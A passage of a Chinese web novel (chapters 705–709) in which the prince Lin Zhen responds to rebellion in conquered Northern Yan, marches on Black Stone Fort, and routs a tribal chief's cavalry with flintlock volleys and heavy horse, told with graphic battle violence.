地面铺着巨大的青石板,缝隙里积满了厚厚的灰尘和蛛网。 空气中弥漫着一股浓重的霉味、尘土气息和一种陈旧的、属于前朝王室的、已然腐朽的奢靡余味。 殿中央,一张巨大的紫檀木案几上,堆积着厚厚的卷宗和摊开的地图。 一个穿着洗得发白的青色儒衫、面容清癯、眼神睿智沉稳的文士早已等候在此,见到林臻,连忙躬身行礼,声音带着一丝不易察觉的疲惫:“师父!一路辛苦!北地苦寒,您受累了!” “寒舟,不必多礼。”林臻走到案几前,并未落座,目光直接落在摊开的、标注着“北燕全境”的精细地图上,手指无意识地敲击着冰冷的紫檀桌面, “说吧,情况如何?”他的声音低沉,带着长途跋涉后的沙哑,却依旧沉稳有力。 “回师父,”萧寒舟神色凝重,指着地图上被朱砂笔圈出的几个区域,“形势比预想的更为严峻。王庭虽降,但其统治根基——各大部落酋长,表面递上降表,口称臣服,实则阳奉阴违,拥兵自重,割据一方,视朝廷法度如无物! 尤以盘踞阴山南麓、水草丰美之地的黑水部酋长赫连铁树,和占据河套草原、控扼东西商路的秃鹫部酋长兀良合台,势力最为强横!据密报,赫连铁树麾下控弦之士不下万五,皆为剽悍骑兵!兀良合台亦有精骑近万!他们拒不执行朝廷改土归流之令,拒绝清点部落人口、丈量草场土地、缴纳赋税贡马!其领地之内,朝廷政令如同废纸!派去的宣抚使,或被驱逐,或被软禁,甚至有去无回!” 他顿了顿,声音带着一丝寒意,手指重重戳在“黑水部”的位置, “更据可靠密报,赫连铁树暗中与逃亡的北燕王族余孽——小王子拓跋野勾结!为其提供庇护、粮草,甚至兵马!图谋不轨之心,昭然若揭!” 林臻眼神冰冷,手指在地图上“黑水部”的位置重重一点,仿佛要将那一点戳穿:“跳梁小丑!不知死活!还有呢?” “民生凋敝,百业萧条,已至危如累卵之境!”萧寒舟拿起一份卷宗,声音沉重,“连年战乱,壮丁死伤枕藉,田地荒芜。去岁又逢百年不遇之大雪灾,冻毙牛羊无数,压垮房屋无算!北燕各地粮荒严重,饿殍遍野!入冬以来,已发生数十起饥民抢粮事件! 官府无力镇压,甚至有官吏被暴民所杀!盗匪横行,尤以黑风’、断魂谷两股马贼最为猖獗!其首领皆凶悍异常,麾下亡命之徒数百,动辄劫掠商队,洗劫村落,奸淫掳掠,无恶不作!官府形同虚设!百姓流离失所,怨声载道,几成燎原之势!” 第705章 拿我脑袋祭旗? 他翻开卷宗, “这是各州县报上来的请赈文书,堆积如山!然府库空虚至极!北燕王庭历年搜刮的财富,大半在破城时被自家乱兵哄抢一空,或被王族亲信卷走!如今库中存粮,仅够维持燕京守军一月之需!银钱更是寥寥无几!更无余力赈济灾民!巧妇难为无米之炊啊,师父!” “哼!”林臻猛地一拍案几!巨大的力量震得案上笔架跳动,墨汁飞溅! “好一个百废待兴!好一个人心未附!这就是我们数万将士浴血奋战、埋骨他乡打下来的江山?这就是那些酋长们给本世子的见面礼?!这就是北燕王庭留给本世子的丰厚遗产?!” 他的声音如同压抑的雷霆,在空旷的大殿内轰然回荡! 一股冰冷而狂暴的怒意如同实质般从他身上爆发出来!殿内的温度仿佛瞬间又下降了几度! 殿内气氛瞬间降至冰点! 萧寒舟垂手肃立,脸色凝重,大气不敢出。 橙萱俏脸含煞,手下意识地按住了腰间的短剑剑柄,指节因用力而微微发白。 阴影里,毛梦极如同鬼魅般无声无息地站着,枯瘦的手指在冰冷的刀柄上轻轻摩挲,眼中闪烁着嗜血而兴奋的寒光,仿佛嗅到了血腥味的豺狼。 “传令!”林臻的声音如同金铁交鸣,打破死寂,带着不容置疑的决断! “一、即刻以本世子名义,发布《北燕安民告示》!张榜各城各镇,重申大乾法度,宣布免除北燕全境一年赋税!开燕京府库,放粮赈济灾民!同时,以工代赈,招募流民壮丁,修葺官道、城墙、水利沟渠!工钱日结,不得拖欠!敢有克扣赈粮、鱼肉百姓、盘剥工钱者……” 林臻眼中寒光爆射,一字一句道,“……无论官职大小,背景如何,杀!无!赦!” “二、飞鸽传书沪县!令楚惜灵弟子先行勘探人员,携带器械,火速北上!即刻勘察燕京周边矿藏!选定矿址,筹建官营矿场!所需工匠、核心器械,由沪县不惜代价,日夜兼程调拨!三个月内,我要看到第一炉北燕铁出炉!” “三、令毛梦极!” “末将在!”毛梦极一步踏出阴影,如同毒蛇出洞,声音嘶哑而兴奋。 “抽调金吾卫最精锐的悍卒,再招募北地悍勇死士,组建靖边营!给你半月时间清剿黑风岭、断魂谷马贼!我不要俘虏,只要匪首人头!提头来见!若有勾结地方豪强、部落酋长者……” 林臻的目光如同冰冷的刀锋,刮过毛梦极的脸,“……无论牵扯到谁,一并铲除!鸡犬不留!用他们的血,给北燕的魑魅魍魉立个规矩!” “末将遵命!”毛梦极眼中凶光炽盛,嘴角勾起一抹残忍而快意的弧度,躬身领命,如同即将扑食的猛兽! “四、令萧寒舟!” “弟子在!”萧寒舟精神一振。 “拟写檄文,言辞务必严厉,传谕北燕各部酋长!赫连铁树、兀良合台……所有叫得上名号的酋长,一个不漏,限其十日之内,亲赴燕京行辕,觐见本世子!呈报部落人口、土地草场、兵甲实数!听候朝廷安置!逾期不至,或虚报瞒报者……” 林臻的声音陡然转冷,如同来自九幽地狱的寒风,瞬间冻结了整个大殿, “……视同谋逆!本世子将亲率大军,踏平其部落,诛其全族,焚其草场,灭其苗裔,玉石俱焚!勿谓言之不预!” 命令一条条下达,如同惊雷炸响! 带着碾碎一切阻碍的铁血意志和雷霆手段! 殿内众人精神陡然一振,压抑的气氛被瞬间打破,一股肃杀而昂扬的战意弥漫开来! 橙萱眼中闪烁着兴奋的光芒,萧寒舟深吸一口气,提笔疾书。 毛梦极舔了舔干裂的嘴唇,眼中燃烧着嗜血的渴望。 然而,就在这肃杀的命令余音未落之际! “报——!!”一声凄厉而嘶哑的呼喊,伴随着沉重而踉跄的脚步声,从殿外传来! 一名浑身浴血、甲胄破碎不堪、几乎成了血人的金吾卫斥候,如同从血池里捞出来一般,跌跌撞撞地冲入大殿! 他左臂无力地垂着,一道深可见骨的刀伤从肩头划至肘部,皮肉翻卷,鲜血还在汩汩渗出! 右腿一瘸一拐,显然也受了重伤! 他扑通一声跪倒在地,染血的额头重重磕在冰冷的青石板上,声音嘶哑,带着无尽的悲愤、绝望和急切的哭腔: “启禀殿下!大事不好!奉……奉毛将军令,前往黑石堡传令的小队……在野狼谷……遭遇大队马贼伏击!对方……对方足有数百骑!装备精良!训练有素!绝非寻常马贼!兄弟们……兄弟们死战不退……但……寡不敌众……全军……全军覆没啊!!” 斥候的声音哽咽,目眦欲裂,血泪混合着汗水从脸上淌下, “只有属下拼死杀出一条血路……突围回来报信!马贼……马贼猖狂至极!竟将……竟将传令使张校尉的头颅砍下悬挂于黑石堡寨门之上!扬言……扬言……” 他猛地抬起头,布满血丝的眼睛死死盯着林臻,用尽全身力气嘶吼道:“……扬言三日内要取殿下首级……悬于燕京城门祭旗!!!” “什么?!”殿内众人勃然变色! 橙萱“呛啷”一声拔出短剑,剑锋直指殿外,俏脸因愤怒而涨红! 毛梦极眼中杀意如同火山喷发,枯瘦的手瞬间握紧了刀柄,骨节爆响! 萧寒舟脸色煞白,手中的笔“啪嗒”一声掉落在案几上! 林臻猛地转身! 玄色大氅在身后划出一道凌厉如刀的弧线! 他眼中瞬间爆射出如同实质般的、足以冻结灵魂的冰冷杀意! 那杀意,如同万年玄冰,瞬间冻结了大殿内所有的空气! 如同出鞘的绝世凶兵,锋芒直刺苍穹!整个大殿仿佛被无形的风暴笼罩! 他缓缓走到那奄奄一息、却强撑着不肯倒下的斥候面前,俯视着他。 声音低沉,却如同闷雷般在死寂的殿内轰然回荡,带着一种令人灵魂战栗的、近乎恐怖的平静: “取本世子首级……悬于城门……祭旗?” 他嘴角缓缓勾起一抹冰冷到极致、没有丝毫温度的弧度,那笑容,仿佛来自九幽深渊,只有滔天的、足以焚毁一切的杀意! “好!很好!赫连铁树……黑水部……本世子正愁找不到祭旗的牲口呢!” 他猛地抬头,目光如电,扫过殿内杀气腾腾的众人,声音陡然拔高,如同九天惊雷炸响,震得梁上灰尘簌簌落下: “毛梦极!” “末将在!”毛梦极一步踏出,如同出闸的凶兽,声音嘶哑而亢奋! “点兵!备马!传令三军!披甲!执锐!集结待命!” “是!”毛梦极轰然应诺,转身大步流星冲出殿外,带起一阵腥风! “橙萱!” “奴婢在!”橙萱挺直腰板,眼中战意熊熊! “持我令牌!速调燧发枪营!携带所有火器弹药!一个时辰内,校场集结!” “是!”橙萱接过令牌,如同一道橙色的闪电,冲出殿门! 林臻的目光最后落在萧寒舟身上:“寒舟!行辕暂由你坐镇!安抚城内!准备接收战报!” “弟子遵命!”萧寒舟深吸一口气,压下心中的惊涛骇浪,沉声应道。 林臻不再多言,猛地抓起案几上代表他身份的蟠龙金剑,大步流星走向殿外! 玄色大氅在身后猎猎作响! 他的声音,如同来自九幽的审判,带着碾碎一切、涤荡乾坤的铁血意志,在空旷的大殿内,在呼啸的寒风中,轰然回荡,宣告着一场血色风暴的降临: “明日拂晓!兵发黑石堡!” “本世子要亲取赫连铁树狗头!用黑水部的血为北燕新政!祭旗!!!” 第706章 林臻小儿,纳命来! 黎明前的黑暗,如同浓稠的墨汁,沉沉地覆盖着燕京城。 刺骨的寒风,裹挟着细碎的雪沫,如同无数冰冷的针尖,抽打在脸上、手上,带来尖锐的刺痛。 空气冷得仿佛能冻结呼吸,每一次吸气,都如同吸入冰碴,刺得肺腑生疼。然而,在燕京城北的校场上,却是一片肃杀而炽热的景象! 巨大的校场之上,火把如林! 熊熊燃烧的火焰在狂风中剧烈摇曳,发出“噼啪”的爆响,将四周的黑暗驱散,投下无数扭曲跳动的光影。 火光映照下,是一支沉默如山、杀气冲霄的钢铁洪流! 最前方,是整整五百名身着玄黑鱼鳞重甲、背负劲弩、腰挎连鞘长刀、手持丈八点钢枪的“金吾卫”重甲骑兵! 他们是林臻从沪县带来的绝对精锐,百战余生,如同淬火的利刃! 冰冷的甲胄在火光下闪烁着幽暗的光泽,面甲下只露出冰冷的嘴唇和下颌,眼神锐利如鹰隬,散发着令人窒息的铁血煞气! 他们胯下的战马,皆是精挑细选的“踏雪乌骓”,通体乌黑,肌肉虬结,披挂着精钢鳞片马铠,在寒风中喷吐着浓重的白气,马蹄不安地刨着冻土,发出沉闷的“咚咚”声,如同压抑的战鼓! 紧随其后,是三百名装备着最新式燧发枪的“神机营”火枪兵! 他们身着靛蓝色棉甲,外罩半身皮甲,头戴铁笠盔,背负弹药袋,手持乌黑锃亮、枪管修长的燧发枪! 队列整齐划一,动作干练利落,眼神专注而冷静,如同即将扣动扳机的猎鹰! 橙萱一身橙黄劲装,如同燃烧的火焰,骑在马上,手持令旗,亲自督阵! 她俏脸紧绷,眼神锐利,扫视着每一名士兵的装备状态。 再后方,则是临时抽调、补充的两千名北地边军精锐! 他们装备稍逊,但个个身形彪悍,眼神凶戾,带着北地特有的剽悍气息! 他们大多穿着厚实的皮袄,外罩锁子甲或皮甲,手持长矛、战刀、狼牙棒等各式兵器,骑在耐力更强的蒙古马或河曲马上,如同一群嗅到血腥味的狼群! 整个军阵,鸦雀无声! 只有战马偶尔的响鼻声、甲胄的轻微碰撞声、以及寒风的呼啸声! 一股无形的、如同实质般的杀气,混合着冰冷的铁腥味和汗水的咸味,在空气中弥漫、升腾! 仿佛一头沉睡的洪荒巨兽,正缓缓睁开冰冷的眼眸,露出狰狞的獠牙! 校场点将台上,林臻傲然而立! 他并未着甲,依旧是一身玄色蟠龙常服,外罩同色薄氅,身形挺拔如孤峰! 寒风卷起他的衣袂,猎猎作响! 他手中并未持剑,只是按在腰间的蟠龙金剑剑柄之上。 他的目光,如同两道冰冷的探照灯,缓缓扫过台下肃立的数千将士! 那目光,沉静、深邃、带着一种掌控一切的威严和不容置疑的决断! “将士们!” 林臻的声音不高,却如同金铁交鸣,清晰地穿透呼啸的寒风,传入每一名士兵的耳中!带着一种直抵人心的力量! “黑水部酋长赫连铁树!勾结北燕余孽,拥兵自重,抗拒王化!其部悍匪,伏杀我传令使,悬首示威!更狂言取本世子首级,悬于城门祭旗!” 他的声音陡然拔高,如同惊雷炸响!带着滔天的怒意和冰冷的杀机! “此獠视我大乾天威如无物!视我边军将士如草芥!视我王法律令如粪土!其行!其言!罪无可赦!当诛九族!” “吼——!”台下数千将士,如同被点燃的炸药桶,瞬间爆发出震天动地的怒吼! 金吾卫重骑眼中寒光爆射! 神机营火枪兵握紧了手中的燧发枪! 北地边军更是发出如同狼嚎般的咆哮! 杀气冲天!直冲云霄! 连呼啸的寒风都被这狂暴的声浪瞬间压了下去! “今日!本世子亲率尔等!兵发黑石堡!”林臻猛地拔出腰间的蟠龙金剑! 剑锋在火把映照下,划出一道刺目的金芒! “踏平黑水部!生擒赫连铁树!用他的血!用黑水部的血!祭奠我死难的兄弟!祭奠我大乾的尊严!祭奠这北燕未来的朗朗乾坤!” “杀!杀!杀!!”山呼海啸般的怒吼再次响起!声浪如同实质的冲击波,震得校场四周的积雪簌簌落下! “毛梦极!” “末将在!”毛梦极如同鬼魅般出现在点将台下,枯瘦的身形在火光下拉出长长的、如同妖魔般的影子! 他脸上那道狰狞的刀疤在火光下如同蠕动的蜈蚣,眼中闪烁着嗜血而兴奋的寒光! “你为先锋!开道!” “得令!”毛梦极嘶哑的声音带着一种残忍的快意,猛地翻身上马! 手中长刀向前一指! “金吾卫!随我来!” “轰隆隆——!”沉重的马蹄声瞬间踏碎了黎明前的死寂! 五百金吾卫重甲骑兵如同一股黑色的钢铁洪流,率先冲出校场! 沉重的马蹄踏在冻土上,发出如同闷雷般的轰鸣!大地都在微微颤抖! 林臻翻身上马,玄色大氅在身后卷起一道凌厉的弧线! “全军!出发!” “呜——!呜——!呜——!”苍凉而雄浑的号角声划破长空! “咚!咚!咚!咚!”沉重的战鼓声如同巨人的心跳,擂动大地! “神机营!前进!”橙萱清脆的声音响起!令旗挥动! “边军!跟上!”北地边军将领怒吼! 整个军阵如同开闸的洪流,滚滚向前! 马蹄声、脚步声、甲胄碰撞声、战鼓号角声……汇成一股惊天动地的声浪! 如同沉睡的巨龙苏醒,发出震天的咆哮! 向着北方,向着黑石堡,向着赫连铁树的老巢,碾压而去!冰冷的杀气,如同实质的寒潮,席卷了整个燕京城! ??...... 大军离开燕京,一头扎进了更加荒凉、更加酷寒的北燕腹地。 朔风如刀,卷起漫天雪沫,天地间一片混沌。 能见度极低,十步之外,人影模糊。 积雪深及马腹,每一步都异常艰难。 严寒如同无形的魔鬼,疯狂地吞噬着士兵的体温和体力。 裸露的皮肤瞬间冻得失去知觉,呼出的热气瞬间凝结成冰晶挂在眉毛、胡须上。 战马喷吐着粗重的白气,鼻孔周围结满了冰霜。 然而,这支军队的士气却如同燃烧的烈焰,在严寒中愈发炽热! 林臻身先士卒,并未乘坐马车,而是策马行在军阵前方! 玄色大氅在风雪中翻卷,如同不屈的战旗! 他目光锐利,如同穿透风雪,直指黑石堡! 他的存在,本身就是一面旗帜,无声地激励着每一名士兵! 金吾卫重骑沉默如山,如同移动的钢铁堡垒! 神机营火枪兵在橙萱的带领下,队列依旧严整,小心翼翼地保护着宝贵的火器和弹药! 北地边军更是如鱼得水,他们熟悉这种恶劣环境,粗犷的呼喝声此起彼伏,互相鼓劲! “报——!”一名金吾卫斥候顶风冒雪,疾驰而来,滚鞍下马,单膝跪在林臻马前,声音带着风雪的嘶哑, “禀殿下!先锋毛将军已抵达野狼谷!谷内发现大量血迹和战斗痕迹,张校尉……张校尉的首级就在谷口!还有……还有……” 斥候声音哽咽,带着悲愤,“还有数十具我军将士的遗体,被剥光了衣服倒吊在枯树上!开膛破肚!死状惨不忍睹!” “什么?!”林臻眼中寒光爆射!一股狂暴的怒意如同火山般在他胸中喷发! 周围的空气仿佛瞬间冻结! 橙萱俏脸煞白,眼中含泪! 身后的将士们更是发出压抑不住的怒吼!杀气瞬间暴涨! “赫连铁树!!!”林臻从牙缝里挤出这个名字,声音冰冷得如同万载玄冰!他猛地一夹马腹! “加速前进!目标——野狼谷!” “加速前进!”命令层层传递! 大军如同被激怒的猛兽,顶着风雪,向着野狼谷疯狂突进! 野狼谷,位于通往黑石堡的必经之路上。 两侧是陡峭的、覆盖着冰雪的悬崖峭壁,谷道狭窄崎岖,如同巨兽张开的大口,散发着阴森恐怖的气息。 当林臻率军抵达谷口时,眼前的一幕,让所有将士目眦欲裂! 谷口两侧的枯树上,如同屠宰场般,倒吊着数十具赤裸的、冻得僵硬的尸体! 正是前往黑石堡传令的金吾卫小队! 他们浑身布满刀伤箭孔,鲜血早已冻结成暗红色的冰壳! 更令人发指的是,他们的胸膛被残忍地剖开,内脏被掏空! 空洞的眼眶茫然地瞪着灰暗的天空! 尸体在寒风中如同破败的布偶般轻轻摇晃! 谷口中央,一根粗大的木桩上,一颗头颅被高高挑起! 正是传令使张校尉! 他怒目圆睁,脸上凝固着临死前的愤怒与不屈! 头颅下方,用鲜血在雪地上涂抹着几个巨大的、歪歪扭扭的北燕文字:“林臻小儿!纳命来!” 第707章 烧火棍? 空气中弥漫着浓重的血腥味和尸体腐烂的恶臭! 刺骨的寒风卷起地上的雪沫,如同在为这惨烈的场景奏响哀乐! “畜生!!”橙萱发出一声凄厉的尖叫,泪水夺眶而出! 她猛地拔出短剑,就要冲上前去! “站住!”林臻冰冷的声音响起,如同铁钳般扼住了她的动作! 他面沉如水,眼神却如同燃烧的冰焰,死死地盯着那惨绝人寰的景象! 他的身体因为极致的愤怒而微微颤抖,但声音却异常平静,平静得令人心寒! “毛梦极!” “末将在!”毛梦极如同幽灵般出现在林臻身侧,枯瘦的脸上没有任何表情,只有那双眼睛,如同浸泡在血海中的毒蛇,闪烁着疯狂而残忍的寒光! “收敛将士遗骸!厚葬!抚恤加倍!”林臻的声音低沉而压抑, “至于这些树……这些木桩……”他缓缓抬起手,指向那些悬挂尸体的枯树和插着人头的木桩,“给本世子烧了,连同那地上的字迹,烧得干干净净!一点灰烬都不许留下!” “是!”毛梦极眼中凶光一闪,毫不犹豫地转身下令! 很快,数十名金吾卫士兵手持火把,将那些枯树和木桩点燃! 熊熊烈火冲天而起! 浓烟滚滚! 尸体在火焰中发出“噼啪”的爆响! 那刺目的血色字迹,在烈焰中扭曲、焦黑、化为飞灰! 火光映照着林臻冰冷如铁的面容,也映照着数千将士眼中燃烧的复仇火焰! “赫连铁树……”林臻看着在烈火中化为灰烬的耻辱,声音如同来自九幽深渊,“你想激怒我?想让我失去理智?很好你成功了!” 他猛地转头,目光如同两道冰冷的闪电,扫过身后杀气冲霄的将士! “但激怒我的代价……是你整个黑水部!鸡犬不留!寸草不生!” “杀!杀!杀!!”震天的怒吼再次响起! 比之前更加狂暴!更加嗜血! “全军!继续前进!目标——黑石堡!”林臻金剑前指!声音如同惊雷! 大军如同复仇的洪流,带着焚尽一切的怒火,碾过化为焦土的谷口,向着黑石堡的方向,滚滚而去! 风雪更急! 杀意更浓! ??...... 经过大半天的艰难行军,风雪稍歇。 当黑石堡那巨大而狰狞的轮廓,终于出现在地平线上时,已是黄昏时分。 夕阳如同一个巨大的、凝固的血球,低垂在铅灰色的天幕边缘,将冰冷的余晖泼洒在荒凉的雪原上,染上了一层不祥的暗红色。 黑石堡,依山而建,扼守险要! 巨大的城堡主体由黝黑的火山岩垒砌而成,如同趴伏在雪山脚下的狰狞巨兽! 城墙高达十丈,厚重无比,布满了箭孔和望楼! 城堡前方,是一片相对开阔的雪原,但此刻,这片雪原上,却并非空无一人! 只见雪原之上,一支庞大的骑兵队伍早已严阵以待! 人数足有数千之众! 正是黑水部的精锐骑兵! 他们并未着甲,大多穿着厚实的皮袄,头戴皮帽,脸上涂抹着防冻的油脂和颜料,显得彪悍而粗犷! 他们手持弯刀、长矛、骨朵、狼牙棒等各式兵器,胯下的战马也并非高大神骏,而是矮小精悍、耐力极强的蒙古马! 他们并未列成严整的方阵,而是三五成群,看似散乱,却隐隐形成一种包围的态势! 队伍前方,一面巨大的、用黑色牦牛尾装饰的狼头大纛在寒风中猎猎作响! 旗下,一名身材异常魁梧、如同铁塔般的巨汉,端坐在一匹格外高大的黑色骏马之上! 他头戴狼皮帽,身穿镶着金边的黑色皮袍,豹头环眼,虬髯戟张,满脸横肉,眼神凶戾如同择人而噬的猛兽! 正是黑水部酋长——赫连铁树! “哈哈哈!林臻小儿!你终于来了!”赫连铁树的声音如同闷雷,带着狂傲与不屑,远远传来,“老子等你多时了!你的人头,老子要定了!正好给老子这狼头旗,添点彩头!” 他身后的数千黑水骑兵,同时发出震天的怪叫和咆哮! 如同群狼啸月! 声浪滚滚,充满了挑衅与野蛮! 林臻勒住战马,玄色大氅在寒风中翻卷。 他目光平静地扫过对面嚣张的赫连铁树和那群野蛮的骑兵,嘴角勾起一抹冰冷的弧度。 他并未回应赫连铁树的叫嚣,只是缓缓抬起手。 “神机营!” “在!”橙萱清脆的声音响起,带着压抑的怒火! “列阵!三段击准备!” “是!”橙萱令旗挥动! 三百名神机营火枪兵迅速行动! 动作迅捷而有序! 他们分成三排,第一排单膝跪地,第二排半蹲,第三排直立! 黑洞洞的枪口,如同毒蛇的獠牙,整齐地指向对面喧嚣的黑水骑兵! 士兵们眼神冷静,手指稳稳地搭在扳机上,等待着命令! 冰冷的燧发枪在夕阳下闪烁着幽暗的光泽! “毛梦极!” “末将在!”毛梦极策马上前,眼中闪烁着嗜血的兴奋! “金吾卫!护住两翼!准备冲锋!” “得令!”毛梦极长刀高举! 五百金吾卫重甲骑兵如同沉默的礁石,迅速移动,护在神机营两侧! 他们放下了面甲,只露出冰冷的眼神! 丈八点钢枪斜指前方! 如同一片钢铁丛林! 肃杀之气弥漫! “边军!压住阵脚!听令行事!” “遵命!”北地边军将领轰然应诺! 两千边军精锐如同蓄势待发的狼群,握紧了手中的兵器,眼神凶戾地盯着对面的敌人! 赫连铁树看到大乾军阵的变化,尤其是看到那些排列整齐、手持“烧火棍”的火枪兵,眼中闪过一丝疑惑,随即化为更加浓烈的不屑和狂傲! “哈哈哈!林臻小儿!你以为靠这些烧火棍,就能挡住我黑水部的铁骑?!儿郎们!给我冲!撕碎他们!抢光他们!杀光他们!!” 他猛地拔出腰间的巨大弯刀,向前一指! “嗷呜——!!”数千黑水骑兵发出如同狼嚎般的怪叫! 如同决堤的洪水,瞬间发动了冲锋! 马蹄踏起漫天雪沫! 弯刀在夕阳下闪烁着寒光! 他们如同狂暴的狼群,带着野蛮的冲力,向着大乾军阵疯狂扑来! 大地在铁蹄下颤抖!喊杀声震耳欲聋! 第708章 新版神机营 林臻目光冰冷,看着如同潮水般涌来的黑水骑兵,嘴角的弧度愈发冰冷。他缓缓抬起手,然后猛地挥下! “神机营!第一排!放!” “砰!砰!砰!砰——!!” 震耳欲聋的枪声瞬间撕裂了黄昏的宁静! 如同平地惊雷! 三百支燧发枪同时喷吐出炽热的火舌! 浓密的白色硝烟瞬间弥漫开来! 刺鼻的硫磺味充斥鼻腔! 密集的铅弹如同死亡的暴雨,带着凄厉的尖啸,瞬间泼洒进冲锋的黑水骑兵群中! “噗噗噗噗——!!” 冲在最前方的数十名黑水骑兵,如同被无形的巨锤狠狠击中! 人仰马翻! 血花四溅! 战马的悲鸣声、士兵的惨叫声瞬间响起! 高速冲锋的骑兵如同撞上了一堵无形的墙壁,冲锋的势头为之一滞! 人仰马翻的尸体和受伤的战马,瞬间成了后方骑兵的障碍! “第二排!放!” “砰!砰!砰!砰——!!” 第二轮齐射接踵而至。 更加密集的铅弹再次泼洒而出,硝烟更加浓烈,冲锋的黑水骑兵如同被割倒的麦子,成片倒下! 惨叫声、哀嚎声、战马的嘶鸣声交织在一起。 鲜血染红了洁白的雪地,冲锋的阵型瞬间大乱。 “第三排!放!” “砰!砰!砰!砰——!!” 第三轮齐射如同死神的镰刀,再次挥过。 黑水骑兵的冲锋彻底崩溃。 侥幸未死的骑兵惊恐地勒住战马,看着眼前如同地狱般的景象,看着同伴如同草芥般倒下,看着那喷吐着死亡火焰的“烧火棍”,眼中充满了难以置信的恐惧。 他们引以为傲的冲锋,在三百步外就被这恐怖的武器撕得粉碎! “金吾卫!冲锋!”林臻冰冷的声音如同催命的符咒! “杀——!!”毛梦极发出一声如同厉鬼般的嘶吼。 长刀向前一指。 “轰隆隆——”五百金吾卫重甲骑兵,如同黑色的钢铁洪流,瞬间启动。 沉重的马蹄踏碎了地上的尸体和积雪。 如同山崩海啸般,向着混乱不堪的黑水骑兵残阵碾压而去。 丈八点钢枪如同钢铁森林,带着无坚不摧的气势,狠狠撞入敌阵。 “噗嗤!噗嗤!噗嗤!” 沉闷的穿刺声、骨骼碎裂声、惨叫声瞬间响成一片。 重甲骑兵的冲击力恐怖绝伦,如同热刀切黄油,瞬间将混乱的黑水骑兵阵型彻底撕裂。 冰冷的枪锋轻易洞穿皮袄,撕裂血肉,沉重的马蹄将倒地的敌人踏成肉泥,金吾卫如同虎入羊群,肆意砍杀。 所过之处,人仰马翻,血肉横飞! “边军!两翼包抄!杀!”林臻再次下令! “杀啊——!!”两千北地边军如同出闸的猛虎,发出震天的怒吼。 挥舞着兵器,从两翼包抄而上。 如同巨大的钳子,狠狠夹向被金吾卫冲散的敌军。 雪亮的战刀、沉重的狼牙棒、锋利的长矛……疯狂地收割着生命。 雪原之上,瞬间变成了血腥的屠宰场! 赫连铁树脸上的狂傲和得意瞬间凝固! 他目瞪口呆地看着自己引以为傲的精锐骑兵,在对方那恐怖的“烧火棍”和钢铁洪流面前,如同纸糊般不堪一击。 如同被割草般倒下。 他脸上的横肉剧烈抽搐,眼中充满了震惊、愤怒和一丝不易察觉的恐惧! “撤!快撤!!”他猛地调转马头,发出一声不甘而惊恐的咆哮! 在亲卫的簇拥下,狼狈不堪地向着黑石堡的方向逃窜! “想跑?!”林臻眼中寒光一闪,“神机营自由射击,目标——敌酋!” “是!”橙萱眼中闪烁着复仇的快意! 令旗挥动! “砰!砰!砰!砰——!!” 燧发枪再次响起。 子弹如同长了眼睛般,追着赫连铁树逃窜的身影射去。 他身边的亲卫接连中弹落马,赫连铁树吓得魂飞魄散,拼命伏低身体,策马狂奔。 一颗子弹擦着他的头皮飞过,打飞了他的狼皮帽,他惊出一身冷汗,再也不敢回头,亡命般逃向黑石堡。 夕阳的最后一抹余晖,彻底沉入地平线。 黑暗如同巨大的幕布,缓缓笼罩了大地。 雪原之上,只留下遍地狼藉的尸体、哀嚎的伤兵、无主的战马,以及浓得化不开的血腥气息。 黑石堡那巨大的黑色轮廓,在暮色中如同蛰伏的巨兽,沉默地注视着城下这片修罗场。 第一战,大乾军以雷霆手段,给了赫连铁树一个血腥的下马威。 但所有人都知道,真正的决战,才刚刚开始! ...... 暮色四合,黑暗如同巨大的、冰冷的墨汁,彻底吞噬了荒凉的雪原。 唯有黑石堡那巨大而狰狞的轮廓,如同蛰伏在黑暗中的远古巨兽,在稀疏的星光和城头摇曳的火光映照下,散发着令人心悸的压迫感。 城下,白日里那场血腥屠杀的痕迹尚未冷却——遍地狼藉的尸体、凝固的暗红血冰、无主战马的悲鸣、伤兵压抑的呻吟……浓烈到令人作呕的血腥味混合着硝烟的气息,在冰冷的夜风中弥漫,如同地狱的呼吸。 大乾军阵并未后撤,反而如同黑色的磐石,牢牢钉在距离黑石堡约三百步的开阔雪地上。 无数火把点燃,如同星火燎原,将方圆数百步照得亮如白昼。 火光跳跃,映照着士兵们沾满血污和雪沫的脸庞,映照着冰冷甲胄上的寒光,也映照着他们眼中尚未熄灭的怒火和愈发坚定的杀意。 中军帅帐内,灯火通明。 巨大的黑石堡地形沙盘前,林臻负手而立,玄色蟠龙常服在火光下泛着幽冷的光泽。 他目光沉静如水,锐利如鹰隼,一寸寸地扫视着沙盘上那座被标注得密密麻麻的城堡模型。 橙萱侍立一旁,俏脸紧绷,手中紧握着短剑剑柄。 萧寒舟则手持炭笔,在一张巨大的羊皮纸上飞快地勾勒着城堡的防御细节。 毛梦极如同鬼魅般站在阴影里,枯瘦的手指在腰间的刀柄上无意识地摩挲着,眼中闪烁着嗜血而兴奋的寒光。 “师父,”萧寒舟放下炭笔,指着沙盘上城堡的几处关键位置,声音凝重, “黑石堡依山而建,地势险要,易守难攻。城墙高达十丈,皆由坚硬的黑曜石垒砌,厚重无比,寻常刀箭难伤。城头遍布箭垛、望楼,守军居高临下,视野开阔。更棘手的是……” 他指向城堡后方依托的陡峭山崖,“其后方倚靠断魂崖,崖壁陡峭如刀削,猿猴难攀,断绝了我军迂回包抄的可能。赫连铁树老巢经营多年,堡内粮草充足,水源引自山泉,可长期固守。强攻代价太大!” 第709章 红夷大炮 “哼!代价大?”毛梦极阴恻恻的声音响起,如同砂纸摩擦,“再硬的乌龟壳,我也能给他砸碎了!只要世子下令,末将愿率靖边营死士,连夜打造云梯,明日拂晓,第一个攀城!定要亲手摘下赫连铁树的狗头!” 他眼中凶光爆射,脸上那道刀疤在火光下如同蠕动的蜈蚣。 橙萱柳眉微蹙:“毛将军勇猛可嘉,但黑石堡城墙太高,守军箭矢滚木礌石充足,强攻攀爬,无异于送死!白白折损将士性命!” 她转向林臻,“殿下,神机营火枪虽利,但射程有限,难以压制城头守军。且燧发枪在风雪中极易受潮哑火,弹药也经不起消耗战。” 林臻沉默不语,手指在沙盘上城堡的正面城墙缓缓划过。 他的目光最终停留在城堡正门上方那座最为高大坚固的箭楼上。 那里,一面巨大的黑色狼头大纛在夜风中猎猎作响,仿佛在无声地嘲笑着城下的敌人。 “赫连铁树,你以为躲在这乌龟壳里,本世子就拿你没办法了?”林臻嘴角勾起一抹冰冷的弧度,眼中寒光一闪,“毛梦极!” “末将在!” “传令!神机营所有火炮,集中火力,给本世子轰!目标——正门箭楼!把那面碍眼的狼头旗,连同那箭楼,给本世子轰成齑粉!” “是!”毛梦极眼中凶光更盛,转身冲出帅帐! 